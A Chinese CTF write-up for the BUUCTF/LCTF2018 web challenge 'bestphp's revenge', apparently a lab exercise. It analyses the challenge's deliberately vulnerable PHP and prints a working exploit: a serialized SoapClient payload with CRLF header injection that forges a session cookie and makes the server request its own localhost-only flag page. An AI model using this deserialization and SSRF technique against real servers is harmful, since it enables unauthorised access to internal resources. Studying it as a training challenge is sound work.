135,【2】 buuctf web bestphp‘s revenge

进入靶场

分析代码

php 复制代码
<?php
// 此函数用于高亮显示当前文件(即包含此代码的 PHP 文件)的源代码,常用于调试或展示代码结构。
highlight_file(__FILE__);

// 定义一个变量 $b,其值为字符串 'implode',implode 是 PHP 中的一个内置函数,用于将数组元素组合成一个字符串。
$b = 'implode';

// 通过 call_user_func 函数调用由用户通过 GET 请求传入的参数 'f' 所指定的函数,并将 POST 请求的数据作为参数传递给该函数。
call_user_func($_GET['f'], $_POST);

// 启动一个新的会话或者继续当前的会话,用于在多个页面之间存储和共享用户数据。
session_start();

// 检查是否通过 GET 请求传入了名为 'name' 的参数。
if (isset($_GET['name'])) {
    // 如果存在 'name' 参数,则将其值存储到会话变量 $_SESSION['name'] 中。
    $_SESSION['name'] = $_GET['name'];
}

// 打印出当前会话变量的详细信息,用于调试目的,显示会话中存储的所有数据。
var_dump($_SESSION);

// 创建一个数组 $a,该数组包含两个元素:第一个元素是会话变量 $_SESSION 中的第一个值(通过 reset 函数获取),第二个元素是字符串 'welcome_to_the_lctf2018'。
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');

// 调用之前定义的变量 $b 所代表的函数(即 implode 函数),将数组 $a 的元素组合成一个字符串。
// 不过这里没有对 implode 函数的返回值进行任何处理,组合后的字符串没有被使用。
call_user_func($b, $a);
?>

这行代码执行后输出了 array(0) { }。这是 var_dump 函数对 $_SESSION 变量进行输出的结果
注意:当使用 session_start() 开启会话并设置会话变量后,PHP 会在会话结束时自动将会话数据序列化并存储到指定的会话存储位置 ,在本段代码中,意味着name需要进行反序列化操作
还 得知我们通过get方式传递函数名给f

通过post方式传递给函数f的参数

通过get方式传递的还有参数name

既然用到了post就先抓包

随意提交内容后,发现最后只有名字提交的参数会显示在页面上,而虽然在源代码里允许我们闯入函数名和参数,但是它不会在页面上显示。反应过来源代码里面没有输出。

想获得更多的信息,显然查看源代码和抓包是没有用的,所以我们试着扫描一下目录。看看有没有哪些可以访问到的文件,我用bp

only localhost can get flag!session_start(); echo 'only localhost can get flag!'; flag = 'LCTF{\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*}'; if(_SERVER"REMOTE_ADDR"==="127.0.0.1"){ _SESSION\['flag'\] = flag; } only localhost can get flag!

本地代码肯定是要提交的,所以我们在 name 的参数里面提交,刚好进行反序列化

那就用 PHP 脚本实现

php 复制代码
<?php

$target ='http://127.0.0.1/flag.php';

$b = new SoapClient(null,array('location'=>$target,

'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",// r n 也就是空行回车

'uri' => "http://127.0.0.1/"));

$se = serialize($b);

echo "|" . urlencode($se);

?>

|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

相关推荐
北冥you鱼2 小时前
OpenZeppelin Contracts 完全指南:从入门到精通,构建安全的智能合约
安全·区块链·智能合约
头茬韭菜3 小时前
4.9 SSRF 防护 — Web 工具的出站安全与私有 IP 拦截
前端·tcp/ip·安全
恒拓高科WorkPlus4 小时前
BeeWorks Meet私有化视频会议:内网会议、组织架构联动与会议安全
安全·架构
云祺vinchin4 小时前
《“医保影像云”基础规范》核心解读
安全·数据安全·容灾备份·国产化替代·医保影像云
Multipath7125 小时前
多链路聚合 + 宽带自组网 + 卫星便携站,构筑应急通信“铁三角”乾元通多链路聚合路由破局“三断”绝境,重构应急通信生命线
网络·5g·安全·智能路由器·实时音视频
yydbjx6 小时前
KACHIE发圈更隐蔽,博容安可的侧键推杆是不是不如它?
安全·求救器·防身
小五传输6 小时前
自主可控建设指南:Serv-u替代方案,实现平滑迁移业务不中断
大数据·运维·安全
HuiJingJiTuanIM8 小时前
[特殊字符]企业级IM即时通讯系统优势|稳定、安全、灵活扩展
安全·实时互动·私有化部署·私域·极光鸟·灰鲸
天天进步201518 小时前
UI-TARS 源码解析 #10:parse_action 源码解析:如何用 AST 安全解析模型生成的函数调用?
安全·ui
大耳朵-小飞象19 小时前
电力安全运维的智能密码:BACS如何破解设备全生命周期管理难题,让电网安全“看得见、管得住”?
运维·安全·智慧城市·能耗系统·楼宇智控·未来生活